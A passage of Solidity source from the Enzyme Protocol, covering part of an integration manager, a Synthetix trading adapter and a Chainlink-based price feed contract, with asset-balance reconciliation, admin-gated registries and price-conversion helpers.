(bool success, bytes memory returnData) = adapter.call(
abi.encodeWithSelector(
selector,
_vaultProxy,
integrationData,
_encodedAssetTransferArgs
)
);
require(success, string(returnData));
}
/// @dev Helper to get the vault's balance of a particular asset
function __getVaultAssetBalance(address _vaultProxy, address _asset)
private
view
returns (uint256)
{
return ERC20(_asset).balanceOf(_vaultProxy);
}
/// @dev Helper to check if an asset is supported
function __isSupportedAsset(address _asset) private view returns (bool isSupported_) {
return
IPrimitivePriceFeed(PRIMITIVE_PRICE_FEED).isSupportedAsset(_asset) ||
IDerivativePriceFeed(DERIVATIVE_PRICE_FEED).isSupportedAsset(_asset);
}
/// @dev Helper for the actions to take on external contracts prior to executing CoI
function __preCoIHook(address _adapter, bytes4 _selector) private {
IPolicyManager(POLICY_MANAGER).validatePolicies(
msg.sender,
IPolicyManager.PolicyHook.PreCallOnIntegration,
abi.encode(_adapter, _selector)
);
}
/// @dev Helper for the internal actions to take prior to executing CoI
function __preProcessCoI(address _vaultProxy, bytes memory _callArgs)
private
returns (
address[] memory expectedIncomingAssets_,
uint256[] memory preCallIncomingAssetBalances_,
uint256[] memory minIncomingAssetAmounts_,
SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory maxSpendAssetAmounts_,
uint256[] memory preCallSpendAssetBalances_
)
{
(
address adapter,
bytes4 selector,
bytes memory integrationData
) = __decodeCallOnIntegrationArgs(_callArgs);
require(adapterIsRegistered(adapter), "callOnIntegration: Adapter is not registered");
// Note that expected incoming and spend assets are allowed to overlap
// (e.g., a fee for the incomingAsset charged in a spend asset)
(
spendAssetsHandleType_,
spendAssets_,
maxSpendAssetAmounts_,
expectedIncomingAssets_,
minIncomingAssetAmounts_
) = IIntegrationAdapter(adapter).parseAssetsForMethod(selector, integrationData);
require(
spendAssets_.length == maxSpendAssetAmounts_.length,
"__preProcessCoI: Spend assets arrays unequal"
);
require(
expectedIncomingAssets_.length == minIncomingAssetAmounts_.length,
"__preProcessCoI: Incoming assets arrays unequal"
);
require(spendAssets_.isUniqueSet(), "__preProcessCoI: Duplicate spend asset");
require(
expectedIncomingAssets_.isUniqueSet(),
"__preProcessCoI: Duplicate incoming asset"
);
IVault vaultProxyContract = IVault(_vaultProxy);
preCallIncomingAssetBalances_ = new uint256[](expectedIncomingAssets_.length);
for (uint256 i = 0; i < expectedIncomingAssets_.length; i++) {
require(
expectedIncomingAssets_[i] != address(0),
"__preProcessCoI: Empty incoming asset address"
);
require(
minIncomingAssetAmounts_[i] > 0,
"__preProcessCoI: minIncomingAssetAmount must be >0"
);
require(
__isSupportedAsset(expectedIncomingAssets_[i]),
"__preProcessCoI: Non-receivable incoming asset"
);
// Get pre-call balance of each incoming asset.
// If the asset is not tracked by the fund, allow the balance to default to 0.
if (vaultProxyContract.isTrackedAsset(expectedIncomingAssets_[i])) {
// We do not require incoming asset finality, but we attempt to finalize so that
// the final incoming asset amount is more accurate. There is no need to finalize
// post-tx.
preCallIncomingAssetBalances_[i] = __finalizeIfSynthAndGetAssetBalance(
_vaultProxy,
expectedIncomingAssets_[i],
false
);
}
}
// Get pre-call balances of spend assets and grant approvals to adapter
preCallSpendAssetBalances_ = new uint256[](spendAssets_.length);
for (uint256 i = 0; i < spendAssets_.length; i++) {
require(spendAssets_[i] != address(0), "__preProcessCoI: Empty spend asset");
require(maxSpendAssetAmounts_[i] > 0, "__preProcessCoI: Empty max spend asset amount");
// A spend asset must either be a tracked asset of the fund or a supported asset,
// in order to prevent seeding the fund with a malicious token and performing arbitrary
// actions within an adapter.
require(
vaultProxyContract.isTrackedAsset(spendAssets_[i]) ||
__isSupportedAsset(spendAssets_[i]),
"__preProcessCoI: Non-spendable spend asset"
);
// If spend asset is also an incoming asset, no need to record its balance
if (!expectedIncomingAssets_.contains(spendAssets_[i])) {
// By requiring spend asset finality before CoI, we will know whether or
// not the asset balance was entirely spent during the call. There is no need
// to finalize post-tx.
preCallSpendAssetBalances_[i] = __finalizeIfSynthAndGetAssetBalance(
_vaultProxy,
spendAssets_[i],
true
);
}
// Grant spend assets access to the adapter.
// Note that spendAssets_ is already asserted to a unique set.
if (spendAssetsHandleType_ == SpendAssetsHandleType.Approve) {
// Use exact approve amount rather than increasing allowances,
// because all adapters finish their actions atomically.
__approveAssetSpender(
msg.sender,
spendAssets_[i],
adapter,
maxSpendAssetAmounts_[i]
);
} else if (spendAssetsHandleType_ == SpendAssetsHandleType.Transfer) {
__withdrawAssetTo(msg.sender, spendAssets_[i], adapter, maxSpendAssetAmounts_[i]);
} else if (spendAssetsHandleType_ == SpendAssetsHandleType.Remove) {
__removeTrackedAsset(msg.sender, spendAssets_[i]);
}
}
}
/// @dev Helper for the actions to take on external contracts after executing CoI
function __postCoIHook(
address _adapter,
bytes4 _selector,
address[] memory _incomingAssets,
uint256[] memory _incomingAssetAmounts,
address[] memory _outgoingAssets,
uint256[] memory _outgoingAssetAmounts
) private {
IPolicyManager(POLICY_MANAGER).validatePolicies(
msg.sender,
IPolicyManager.PolicyHook.PostCallOnIntegration,
abi.encode(
_adapter,
_selector,
_incomingAssets,
_incomingAssetAmounts,
_outgoingAssets,
_outgoingAssetAmounts
)
);
}
/// @dev Helper to reconcile and format incoming and outgoing assets after executing CoI
function __postProcessCoI(
address _vaultProxy,
address[] memory _expectedIncomingAssets,
uint256[] memory _preCallIncomingAssetBalances,
uint256[] memory _minIncomingAssetAmounts,
SpendAssetsHandleType _spendAssetsHandleType,
address[] memory _spendAssets,
uint256[] memory _maxSpendAssetAmounts,
uint256[] memory _preCallSpendAssetBalances
)
private
returns (
address[] memory incomingAssets_,
uint256[] memory incomingAssetAmounts_,
address[] memory outgoingAssets_,
uint256[] memory outgoingAssetAmounts_
)
{
address[] memory increasedSpendAssets;
uint256[] memory increasedSpendAssetAmounts;
(
outgoingAssets_,
outgoingAssetAmounts_,
increasedSpendAssets,
increasedSpendAssetAmounts
) = __reconcileCoISpendAssets(
_vaultProxy,
_spendAssetsHandleType,
_spendAssets,
_maxSpendAssetAmounts,
_preCallSpendAssetBalances
);
(incomingAssets_, incomingAssetAmounts_) = __reconcileCoIIncomingAssets(
_vaultProxy,
_expectedIncomingAssets,
_preCallIncomingAssetBalances,
_minIncomingAssetAmounts,
increasedSpendAssets,
increasedSpendAssetAmounts
);
return (incomingAssets_, incomingAssetAmounts_, outgoingAssets_, outgoingAssetAmounts_);
}
/// @dev Helper to process incoming asset balance changes.
/// See __reconcileCoISpendAssets() for explanation on "increasedSpendAssets".
function __reconcileCoIIncomingAssets(
address _vaultProxy,
address[] memory _expectedIncomingAssets,
uint256[] memory _preCallIncomingAssetBalances,
uint256[] memory _minIncomingAssetAmounts,
address[] memory _increasedSpendAssets,
uint256[] memory _increasedSpendAssetAmounts
) private returns (address[] memory incomingAssets_, uint256[] memory incomingAssetAmounts_) {
// Incoming assets = expected incoming assets + spend assets with increased balances
uint256 incomingAssetsCount = _expectedIncomingAssets.length.add(
_increasedSpendAssets.length
);
// Calculate and validate incoming asset amounts
incomingAssets_ = new address[](incomingAssetsCount);
incomingAssetAmounts_ = new uint256[](incomingAssetsCount);
for (uint256 i = 0; i < _expectedIncomingAssets.length; i++) {
uint256 balanceDiff = __getVaultAssetBalance(_vaultProxy, _expectedIncomingAssets[i])
.sub(_preCallIncomingAssetBalances[i]);
require(
balanceDiff >= _minIncomingAssetAmounts[i],
"__reconcileCoIAssets: Received incoming asset less than expected"
);
// Even if the asset's previous balance was >0, it might not have been tracked
__addTrackedAsset(msg.sender, _expectedIncomingAssets[i]);
incomingAssets_[i] = _expectedIncomingAssets[i];
incomingAssetAmounts_[i] = balanceDiff;
}
// Append increaseSpendAssets to incomingAsset vars
if (_increasedSpendAssets.length > 0) {
uint256 incomingAssetIndex = _expectedIncomingAssets.length;
for (uint256 i = 0; i < _increasedSpendAssets.length; i++) {
incomingAssets_[incomingAssetIndex] = _increasedSpendAssets[i];
incomingAssetAmounts_[incomingAssetIndex] = _increasedSpendAssetAmounts[i];
incomingAssetIndex++;
}
}
return (incomingAssets_, incomingAssetAmounts_);
}
/// @dev Helper to process spend asset balance changes.
/// "outgoingAssets" are the spend assets with a decrease in balance.
/// "increasedSpendAssets" are the spend assets with an unexpected increase in balance.
/// For example, "increasedSpendAssets" can occur if an adapter has a pre-balance of
/// the spendAsset, which would be transferred to the fund at the end of the tx.
function __reconcileCoISpendAssets(
address _vaultProxy,
SpendAssetsHandleType _spendAssetsHandleType,
address[] memory _spendAssets,
uint256[] memory _maxSpendAssetAmounts,
uint256[] memory _preCallSpendAssetBalances
)
private
returns (
address[] memory outgoingAssets_,
uint256[] memory outgoingAssetAmounts_,
address[] memory increasedSpendAssets_,
uint256[] memory increasedSpendAssetAmounts_
)
{
// Determine spend asset balance changes
uint256[] memory postCallSpendAssetBalances = new uint256[](_spendAssets.length);
uint256 outgoingAssetsCount;
uint256 increasedSpendAssetsCount;
for (uint256 i = 0; i < _spendAssets.length; i++) {
// If spend asset's initial balance is 0, then it is an incoming asset
if (_preCallSpendAssetBalances[i] == 0) {
continue;
}
// Handle SpendAssetsHandleType.Remove separately
if (_spendAssetsHandleType == SpendAssetsHandleType.Remove) {
outgoingAssetsCount++;
continue;
}
// Determine if the asset is outgoing or incoming, and store the post-balance for later use
postCallSpendAssetBalances[i] = __getVaultAssetBalance(_vaultProxy, _spendAssets[i]);
// If the pre- and post- balances are equal, then the asset is neither incoming nor outgoing
if (postCallSpendAssetBalances[i] < _preCallSpendAssetBalances[i]) {
outgoingAssetsCount++;
} else if (postCallSpendAssetBalances[i] > _preCallSpendAssetBalances[i]) {
increasedSpendAssetsCount++;
}
}
// Format outgoingAssets and increasedSpendAssets (spend assets with unexpected increase in balance)
outgoingAssets_ = new address[](outgoingAssetsCount);
outgoingAssetAmounts_ = new uint256[](outgoingAssetsCount);
increasedSpendAssets_ = new address[](increasedSpendAssetsCount);
increasedSpendAssetAmounts_ = new uint256[](increasedSpendAssetsCount);
uint256 outgoingAssetsIndex;
uint256 increasedSpendAssetsIndex;
for (uint256 i = 0; i < _spendAssets.length; i++) {
// If spend asset's initial balance is 0, then it is an incoming asset.
if (_preCallSpendAssetBalances[i] == 0) {
continue;
}
// Handle SpendAssetsHandleType.Remove separately.
// No need to validate the max spend asset amount.
if (_spendAssetsHandleType == SpendAssetsHandleType.Remove) {
outgoingAssets_[outgoingAssetsIndex] = _spendAssets[i];
outgoingAssetAmounts_[outgoingAssetsIndex] = _preCallSpendAssetBalances[i];
outgoingAssetsIndex++;
continue;
}
// If the pre- and post- balances are equal, then the asset is neither incoming nor outgoing
if (postCallSpendAssetBalances[i] < _preCallSpendAssetBalances[i]) {
if (postCallSpendAssetBalances[i] == 0) {
__removeTrackedAsset(msg.sender, _spendAssets[i]);
outgoingAssetAmounts_[outgoingAssetsIndex] = _preCallSpendAssetBalances[i];
} else {
outgoingAssetAmounts_[outgoingAssetsIndex] = _preCallSpendAssetBalances[i].sub(
postCallSpendAssetBalances[i]
);
}
require(
outgoingAssetAmounts_[outgoingAssetsIndex] <= _maxSpendAssetAmounts[i],
"__reconcileCoISpendAssets: Spent amount greater than expected"
);
outgoingAssets_[outgoingAssetsIndex] = _spendAssets[i];
outgoingAssetsIndex++;
} else if (postCallSpendAssetBalances[i] > _preCallSpendAssetBalances[i]) {
increasedSpendAssetAmounts_[increasedSpendAssetsIndex] = postCallSpendAssetBalances[i]
.sub(_preCallSpendAssetBalances[i]);
increasedSpendAssets_[increasedSpendAssetsIndex] = _spendAssets[i];
increasedSpendAssetsIndex++;
}
}
return (
outgoingAssets_,
outgoingAssetAmounts_,
increasedSpendAssets_,
increasedSpendAssetAmounts_
);
}
///////////////////////////
// INTEGRATIONS REGISTRY //
///////////////////////////
/// @notice Remove integration adapters from the list of registered adapters
/// @param _adapters Addresses of adapters to be deregistered
function deregisterAdapters(address[] calldata _adapters) external onlyFundDeployerOwner {
require(_adapters.length > 0, "deregisterAdapters: _adapters cannot be empty");
for (uint256 i; i < _adapters.length; i++) {
require(
adapterIsRegistered(_adapters[i]),
"deregisterAdapters: Adapter is not registered"
);
registeredAdapters.remove(_adapters[i]);
emit AdapterDeregistered(_adapters[i], IIntegrationAdapter(_adapters[i]).identifier());
}
}
/// @notice Add integration adapters to the list of registered adapters
/// @param _adapters Addresses of adapters to be registered
function registerAdapters(address[] calldata _adapters) external onlyFundDeployerOwner {
require(_adapters.length > 0, "registerAdapters: _adapters cannot be empty");
for (uint256 i; i < _adapters.length; i++) {
require(_adapters[i] != address(0), "registerAdapters: Adapter cannot be empty");
require(
!adapterIsRegistered(_adapters[i]),
"registerAdapters: Adapter already registered"
);
registeredAdapters.add(_adapters[i]);
emit AdapterRegistered(_adapters[i], IIntegrationAdapter(_adapters[i]).identifier());
}
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Checks if an integration adapter is registered
/// @param _adapter The adapter to check
/// @return isRegistered_ True if the adapter is registered
function adapterIsRegistered(address _adapter) public view returns (bool isRegistered_) {
return registeredAdapters.contains(_adapter);
}
/// @notice Gets the `DERIVATIVE_PRICE_FEED` variable
/// @return derivativePriceFeed_ The `DERIVATIVE_PRICE_FEED` variable value
function getDerivativePriceFeed() external view returns (address derivativePriceFeed_) {
return DERIVATIVE_PRICE_FEED;
}
/// @notice Gets the `POLICY_MANAGER` variable
/// @return policyManager_ The `POLICY_MANAGER` variable value
function getPolicyManager() external view returns (address policyManager_) {
return POLICY_MANAGER;
}
/// @notice Gets the `PRIMITIVE_PRICE_FEED` variable
/// @return primitivePriceFeed_ The `PRIMITIVE_PRICE_FEED` variable value
function getPrimitivePriceFeed() external view returns (address primitivePriceFeed_) {
return PRIMITIVE_PRICE_FEED;
}
/// @notice Gets all registered integration adapters
/// @return registeredAdaptersArray_ A list of all registered integration adapters
function getRegisteredAdapters()
external
view
returns (address[] memory registeredAdaptersArray_)
{
registeredAdaptersArray_ = new address[](registeredAdapters.length());
for (uint256 i = 0; i < registeredAdaptersArray_.length; i++) {
registeredAdaptersArray_[i] = registeredAdapters.at(i);
}
return registeredAdaptersArray_;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../../infrastructure/price-feeds/derivatives/feeds/SynthetixPriceFeed.sol";
import "../../../../interfaces/ISynthetix.sol";
import "../utils/AdapterBase.sol";
/// @title SynthetixAdapter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Adapter for interacting with Synthetix
contract SynthetixAdapter is AdapterBase {
address private immutable ORIGINATOR;
address private immutable SYNTHETIX;
address private immutable SYNTHETIX_PRICE_FEED;
bytes32 private immutable TRACKING_CODE;
constructor(
address _integrationManager,
address _synthetixPriceFeed,
address _originator,
address _synthetix,
bytes32 _trackingCode
) public AdapterBase(_integrationManager) {
ORIGINATOR = _originator;
SYNTHETIX = _synthetix;
SYNTHETIX_PRICE_FEED = _synthetixPriceFeed;
TRACKING_CODE = _trackingCode;
}
// EXTERNAL FUNCTIONS
/// @notice Provides a constant string identifier for an adapter
/// @return identifier_ An identifier string
function identifier() external pure override returns (string memory identifier_) {
return "SYNTHETIX";
}
/// @notice Parses the expected assets to receive from a call on integration
/// @param _selector The function selector for the callOnIntegration
/// @param _encodedCallArgs The encoded parameters for the callOnIntegration
/// @return spendAssetsHandleType_ A type that dictates how to handle granting
/// the adapter access to spend assets (`None` by default)
/// @return spendAssets_ The assets to spend in the call
/// @return spendAssetAmounts_ The max asset amounts to spend in the call
/// @return incomingAssets_ The assets to receive in the call
/// @return minIncomingAssetAmounts_ The min asset amounts to receive in the call
function parseAssetsForMethod(bytes4 _selector, bytes calldata _encodedCallArgs)
external
view
override
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory spendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_
)
{
require(_selector == TAKE_ORDER_SELECTOR, "parseAssetsForMethod: _selector invalid");
(
address incomingAsset,
uint256 minIncomingAssetAmount,
address outgoingAsset,
uint256 outgoingAssetAmount
) = __decodeCallArgs(_encodedCallArgs);
spendAssets_ = new address[](1);
spendAssets_[0] = outgoingAsset;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = outgoingAssetAmount;
incomingAssets_ = new address[](1);
incomingAssets_[0] = incomingAsset;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = minIncomingAssetAmount;
return (
IIntegrationManager.SpendAssetsHandleType.None,
spendAssets_,
spendAssetAmounts_,
incomingAssets_,
minIncomingAssetAmounts_
);
}
/// @notice Trades assets on Synthetix
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
function takeOrder(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata
) external onlyIntegrationManager {
(
address incomingAsset,
,
address outgoingAsset,
uint256 outgoingAssetAmount
) = __decodeCallArgs(_encodedCallArgs);
address[] memory synths = new address[](2);
synths[0] = outgoingAsset;
synths[1] = incomingAsset;
bytes32[] memory currencyKeys = SynthetixPriceFeed(SYNTHETIX_PRICE_FEED)
.getCurrencyKeysForSynths(synths);
ISynthetix(SYNTHETIX).exchangeOnBehalfWithTracking(
_vaultProxy,
currencyKeys[0],
outgoingAssetAmount,
currencyKeys[1],
ORIGINATOR,
TRACKING_CODE
);
}
// PRIVATE FUNCTIONS
/// @dev Helper to decode the encoded call arguments
function __decodeCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (
address incomingAsset_,
uint256 minIncomingAssetAmount_,
address outgoingAsset_,
uint256 outgoingAssetAmount_
)
{
return abi.decode(_encodedCallArgs, (address, uint256, address, uint256));
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `ORIGINATOR` variable
/// @return originator_ The `ORIGINATOR` variable value
function getOriginator() external view returns (address originator_) {
return ORIGINATOR;
}
/// @notice Gets the `SYNTHETIX` variable
/// @return synthetix_ The `SYNTHETIX` variable value
function getSynthetix() external view returns (address synthetix_) {
return SYNTHETIX;
}
/// @notice Gets the `SYNTHETIX_PRICE_FEED` variable
/// @return synthetixPriceFeed_ The `SYNTHETIX_PRICE_FEED` variable value
function getSynthetixPriceFeed() external view returns (address synthetixPriceFeed_) {
return SYNTHETIX_PRICE_FEED;
}
/// @notice Gets the `TRACKING_CODE` variable
/// @return trackingCode_ The `TRACKING_CODE` variable value
function getTrackingCode() external view returns (bytes32 trackingCode_) {
return TRACKING_CODE;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../../interfaces/IChainlinkAggregator.sol";
import "../../utils/DispatcherOwnerMixin.sol";
import "./IPrimitivePriceFeed.sol";
/// @title ChainlinkPriceFeed Contract
/// @author Enzyme Council <[email protected]>
/// @notice A price feed that uses Chainlink oracles as price sources
contract ChainlinkPriceFeed is IPrimitivePriceFeed, DispatcherOwnerMixin {
using SafeMath for uint256;
event EthUsdAggregatorSet(address prevEthUsdAggregator, address nextEthUsdAggregator);
event PrimitiveAdded(
address indexed primitive,
address aggregator,
RateAsset rateAsset,
uint256 unit
);
event PrimitiveRemoved(address indexed primitive);
event PrimitiveUpdated(
address indexed primitive,
address prevAggregator,
address nextAggregator
);
event StalePrimitiveRemoved(address indexed primitive);
event StaleRateThresholdSet(uint256 prevStaleRateThreshold, uint256 nextStaleRateThreshold);
enum RateAsset {ETH, USD}
struct AggregatorInfo {
address aggregator;
RateAsset rateAsset;
}
uint256 private constant ETH_UNIT = 10**18;
address private immutable WETH_TOKEN;
address private ethUsdAggregator;
uint256 private staleRateThreshold;
mapping(address => AggregatorInfo) private primitiveToAggregatorInfo;
mapping(address => uint256) private primitiveToUnit;
constructor(
address _dispatcher,
address _wethToken,
address _ethUsdAggregator,
address[] memory _primitives,
address[] memory _aggregators,
RateAsset[] memory _rateAssets
) public DispatcherOwnerMixin(_dispatcher) {
WETH_TOKEN = _wethToken;
staleRateThreshold = 25 hours; // 24 hour heartbeat + 1hr buffer
__setEthUsdAggregator(_ethUsdAggregator);
if (_primitives.length > 0) {
__addPrimitives(_primitives, _aggregators, _rateAssets);
}
}
// EXTERNAL FUNCTIONS
/// @notice Calculates the value of a base asset in terms of a quote asset (using a canonical rate)
/// @param _baseAsset The base asset
/// @param _baseAssetAmount The base asset amount to convert
/// @param _quoteAsset The quote asset
/// @return quoteAssetAmount_ The equivalent quote asset amount
/// @return isValid_ True if the rates used in calculations are deemed valid
function calcCanonicalValue(
address _baseAsset,
uint256 _baseAssetAmount,
address _quoteAsset
) public view override returns (uint256 quoteAssetAmount_, bool isValid_) {
// Case where _baseAsset == _quoteAsset is handled by ValueInterpreter
int256 baseAssetRate = __getLatestRateData(_baseAsset);
if (baseAssetRate <= 0) {
return (0, false);
}
int256 quoteAssetRate = __getLatestRateData(_quoteAsset);
if (quoteAssetRate <= 0) {
return (0, false);
}
(quoteAssetAmount_, isValid_) = __calcConversionAmount(
_baseAsset,
_baseAssetAmount,
uint256(baseAssetRate),
_quoteAsset,
uint256(quoteAssetRate)
);
return (quoteAssetAmount_, isValid_);
}
/// @notice Calculates the value of a base asset in terms of a quote asset (using a live rate)
/// @param _baseAsset The base asset
/// @param _baseAssetAmount The base asset amount to convert
/// @param _quoteAsset The quote asset
/// @return quoteAssetAmount_ The equivalent quote asset amount
/// @return isValid_ True if the rates used in calculations are deemed valid
/// @dev Live and canonical values are the same for Chainlink
function calcLiveValue(
address _baseAsset,
uint256 _baseAssetAmount,
address _quoteAsset
) external view override returns (uint256 quoteAssetAmount_, bool isValid_) {
return calcCanonicalValue(_baseAsset, _baseAssetAmount, _quoteAsset);
}
/// @notice Checks whether an asset is a supported primitive of the price feed
/// @param _asset The asset to check
/// @return isSupported_ True if the asset is a supported primitive
function isSupportedAsset(address _asset) external view override returns (bool isSupported_) {
return _asset == WETH_TOKEN || primitiveToAggregatorInfo[_asset].aggregator != address(0);
}
/// @notice Sets the `ehUsdAggregator` variable value
/// @param _nextEthUsdAggregator The `ehUsdAggregator` value to set
function setEthUsdAggregator(address _nextEthUsdAggregator) external onlyDispatcherOwner {
__setEthUsdAggregator(_nextEthUsdAggregator);
}
// PRIVATE FUNCTIONS
/// @dev Helper to convert an amount from a _baseAsset to a _quoteAsset
function __calcConversionAmount(
address _baseAsset,
uint256 _baseAssetAmount,
uint256 _baseAssetRate,
address _quoteAsset,
uint256 _quoteAssetRate
) private view returns (uint256 quoteAssetAmount_, bool isValid_) {
RateAsset baseAssetRateAsset = getRateAssetForPrimitive(_baseAsset);
RateAsset quoteAssetRateAsset = getRateAssetForPrimitive(_quoteAsset);
uint256 baseAssetUnit = getUnitForPrimitive(_baseAsset);
uint256 quoteAssetUnit = getUnitForPrimitive(_quoteAsset);
// If rates are both in ETH or both in USD
if (baseAssetRateAsset == quoteAssetRateAsset) {
return (
__calcConversionAmountSameRateAsset(
_baseAssetAmount,
baseAssetUnit,
_baseAssetRate,
quoteAssetUnit,
_quoteAssetRate
),
true
);
}
int256 ethPerUsdRate = IChainlinkAggregator(ethUsdAggregator).latestAnswer();
if (ethPerUsdRate <= 0) {
return (0, false);
}
// If _baseAsset's rate is in ETH and _quoteAsset's rate is in USD
if (baseAssetRateAsset == RateAsset.ETH) {
return (
__calcConversionAmountEthRateAssetToUsdRateAsset(
_baseAssetAmount,
baseAssetUnit,
_baseAssetRate,
quoteAssetUnit,
_quoteAssetRate,
uint256(ethPerUsdRate)
),
true
);
}
// If _baseAsset's rate is in USD and _quoteAsset's rate is in ETH
return (
__calcConversionAmountUsdRateAssetToEthRateAsset(
_baseAssetAmount,
baseAssetUnit,
_baseAssetRate,
quoteAssetUnit,
_quoteAssetRate,
uint256(ethPerUsdRate)
),
true
);
}
/// @dev Helper to convert amounts where the base asset has an ETH rate and the quote asset has a USD rate
function __calcConversionAmountEthRateAssetToUsdRateAsset(
uint256 _baseAssetAmount,
uint256 _baseAssetUnit,
uint256 _baseAssetRate,
uint256 _quoteAssetUnit,
uint256 _quoteAssetRate,
uint256 _ethPerUsdRate
) private pure returns (uint256 quoteAssetAmount_) {
// Only allows two consecutive multiplication operations to avoid potential overflow.
// Intermediate step needed to resolve stack-too-deep error.
uint256 intermediateStep = _baseAssetAmount.mul(_baseAssetRate).mul(_ethPerUsdRate).div(
ETH_UNIT
);
return intermediateStep.mul(_quoteAssetUnit).div(_baseAssetUnit).div(_quoteAssetRate);
}
/// @dev Helper to convert amounts where base and quote assets both have ETH rates or both have USD rates
function __calcConversionAmountSameRateAsset(
uint256 _baseAssetAmount,
uint256 _baseAssetUnit,
uint256 _baseAssetRate,
uint256 _quoteAssetUnit,
uint256 _quoteAssetRate
) private pure returns (uint256 quoteAssetAmount_) {
// Only allows two consecutive multiplication operations to avoid potential overflow
return
_baseAssetAmount.mul(_baseAssetRate).mul(_quoteAssetUnit).div(
_baseAssetUnit.mul(_quoteAssetRate)
);
}
/// @dev Helper to convert amounts where the base asset has a USD rate and the quote asset has an ETH rate
function __calcConversionAmountUsdRateAssetToEthRateAsset(
uint256 _baseAssetAmount,
uint256 _baseAssetUnit,
uint256 _baseAssetRate,
uint256 _quoteAssetUnit,
uint256 _quoteAssetRate,
uint256 _ethPerUsdRate
) private pure returns (uint256 quoteAssetAmount_) {
// Only allows two consecutive multiplication operations to avoid potential overflow
// Intermediate step needed to resolve stack-too-deep error.
uint256 intermediateStep = _baseAssetAmount.mul(_baseAssetRate).mul(_quoteAssetUnit).div(
_ethPerUsdRate
);
return intermediateStep.mul(ETH_UNIT).div(_baseAssetUnit).div(_quoteAssetRate);
}
/// @dev Helper to get the latest rate for a given primitive
function __getLatestRateData(address _primitive) private view returns (int256 rate_) {
if (_primitive == WETH_TOKEN) {
return int256(ETH_UNIT);
}
address aggregator = primitiveToAggregatorInfo[_primitive].aggregator;
require(aggregator != address(0), "__getLatestRateData: Primitive does not exist");
return IChainlinkAggregator(aggregator).latestAnswer();
}
/// @dev Helper to set the `ethUsdAggregator` value
function __setEthUsdAggregator(address _nextEthUsdAggregator) private {
address prevEthUsdAggregator = ethUsdAggregator;
require(
_nextEthUsdAggregator != prevEthUsdAggregator,
"__setEthUsdAggregator: Value already set"
);
__validateAggregator(_nextEthUsdAggregator);
ethUsdAggregator = _nextEthUsdAggregator;
emit EthUsdAggregatorSet(prevEthUsdAggregator, _nextEthUsdAggregator);
}
/////////////////////////
// PRIMITIVES REGISTRY //
/////////////////////////
/// @notice Adds a list of primitives with the given aggregator and rateAsset values
/// @param _primitives The primitives to add
/// @param _aggregators The ordered aggregators corresponding to the list of _primitives
/// @param _rateAssets The ordered rate assets corresponding to the list of _primitives
function addPrimitives(
address[] calldata _primitives,
address[] calldata _aggregators,
RateAsset[] calldata _rateAssets
) external onlyDispatcherOwner {
require(_primitives.length > 0, "addPrimitives: _primitives cannot be empty");
__addPrimitives(_primitives, _aggregators, _rateAssets);
}
/// @notice Removes a list of primitives from the feed
/// @param _primitives The primitives to remove
function removePrimitives(address[] calldata _primitives) external onlyDispatcherOwner {
require(_primitives.length > 0, "removePrimitives: _primitives cannot be empty");
for (uint256 i; i < _primitives.length; i++) {
require(
primitiveToAggregatorInfo[_primitives[i]].aggregator != address(0),
"removePrimitives: Primitive not yet added"
);
delete primitiveToAggregatorInfo[_primitives[i]];
delete primitiveToUnit[_primitives[i]];
emit PrimitiveRemoved(_primitives[i]);
}
}
/// @notice Removes stale primitives from the feed
/// @param _primitives The stale primitives to remove
/// @dev Callable by anybody
function removeStalePrimitives(address[] calldata _primitives) external {
require(_primitives.length > 0, "removeStalePrimitives: _primitives cannot be empty");
for (uint256 i; i < _primitives.length; i++) {
address aggregatorAddress = primitiveToAggregatorInfo[_primitives[i]].aggregator;
require(aggregatorAddress != address(0), "removeStalePrimitives: Invalid primitive");
require(rateIsStale(aggregatorAddress), "removeStalePrimitives: Rate is not stale");
delete primitiveToAggregatorInfo[_primitives[i]];
delete primitiveToUnit[_primitives[i]];
emit StalePrimitiveRemoved(_primitives[i]);
}
}
/// @notice Sets the `staleRateThreshold` variable
/// @param _nextStaleRateThreshold The next `staleRateThreshold` value
function setStaleRateThreshold(uint256 _nextStaleRateThreshold) external onlyDispatcherOwner {
uint256 prevStaleRateThreshold = staleRateThreshold;
require(
_nextStaleRateThreshold != prevStaleRateThreshold,
"__setStaleRateThreshold: Value already set"
);
staleRateThreshold = _nextStaleRateThreshold;
emit StaleRateThresholdSet(prevStaleRateThreshold, _nextStaleRateThreshold);
}
/// @notice Updates the aggregators for given primitives
/// @param _primitives The primitives to update
/// @param _aggregators The ordered aggregators corresponding to the list of _primitives
function updatePrimitives(address[] calldata _primitives, address[] calldata _aggregators)
external
onlyDispatcherOwner
{
require(_primitives.length > 0, "updatePrimitives: _primitives cannot be empty");
require(
_primitives.length == _aggregators.length,
"updatePrimitives: Unequal _primitives and _aggregators array lengths"
);
for (uint256 i; i < _primitives.length; i++) {
address prevAggregator = primitiveToAggregatorInfo[_primitives[i]].aggregator;
require(prevAggregator != address(0), "updatePrimitives: Primitive not yet added");
require(_aggregators[i] != prevAggregator, "updatePrimitives: Value already set");
__validateAggregator(_aggregators[i]);
primitiveToAggregatorInfo[_primitives[i]].aggregator = _aggregators[i];
emit PrimitiveUpdated(_primitives[i], prevAggregator, _aggregators[i]);
}
}
/// @notice Checks whether the current rate is considered stale for the specified aggregator
